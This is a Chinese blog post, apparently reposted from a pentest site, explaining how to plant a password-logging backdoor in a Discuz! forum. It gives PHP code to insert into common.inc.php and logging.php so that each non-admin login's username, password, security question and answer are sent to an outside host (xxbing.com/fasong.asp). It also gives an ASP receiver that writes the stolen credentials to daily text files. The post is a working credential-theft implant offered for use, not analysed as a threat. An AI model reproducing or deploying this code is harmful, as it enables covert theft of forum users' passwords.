dz记录密码(xxbing)

http://www.80pentest.com/?p=835

DZ记录密码,我自己做了份代码。
include/common.inc.php 里面插一个自定义函数。
我选择放在 41-53行。dz7.1-72 include/login.func.php (49-51行) | dz7.0 是在根目录的logging.php

01function request_by_other($remote_server,$post_string){
02    $context = array(
03        'http'=>array(
04            'method'=>'POST',
05            'header'=>'Content-type: application/x-www-form-urlencoded'."/r/n".
06                      'User-Agent : xxbing/'s fuckyou!!!'."/r/n".
07                      'Content-length: '.strlen($post_string)+8,
08            'content'=>'mypost='.$post_string)
09        );
10    $stream_context = stream_context_create($context);
11    $data = file_get_contents($remote_server,FALSE,$stream_context);
12    return $data;
13}

找到根目录下的 logging.php文件。搜索下面代码。

1$ucresult = uc_user_login($username, $password, $loginfield == 'uid');

然后在后面插上下面的代码:

1if($username!='admin'){
2        $showtime=gmdate("Ynj H:i:s",time()+8*3600);
3                if($answer==''){
4                $answer='无!';
5                }
6        //name1无用。但是必须加
7        $post_string = 'name1='.$name2.'&name='.$username.'&password='.$password.'&questionid='.$questionid.'&answer='.$answer.'&showtime='.$showtime.'&from='.$_SERVER['SERVER_NAME'];
8        request_by_other('http://www.xxbing.com/fasong.asp',$post_string);
9                                                }

因为我熟悉asp,所以接受端我用asp写的。
asp代码如下:

01<%
02'接收文件
03'body0 = request.form("name1")
04body1 = request.form("name")
05body2 = request.form("password")
06body3 = request.form("questionid")
07body4 = request.form("answer")
08body5 = request.form("showtime")
09body7 = request.form("from")
10body6 = "账号:"&body1 &"---密码:"& body2 &"---问题ID:"& body3 &"---答案:"& body4 &"---时间:"& body5 &"---来源:" & body7
11'response.write body6
12FileName = date()&".txt"
13'这里之所以要替换,是为了兼容IIS7的环境。
14FileName = Replace(FileName,"/","-")
15if body6 <>"" then
16Call CreateFile(body6,FileName)
17end if
18Sub CreateFile(body,FileName)
19Dim fso, tf ,cf
20Set fso = CreateObject("Scripting.FileSystemObject")
21Set tf = fso.openTextFile(server.mappath(FileName),8,True,0)
22tf.WriteLine body
23tf.WriteLine "----------------"
24tf.Close
25set fso = nothing
26End Sub
27%>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值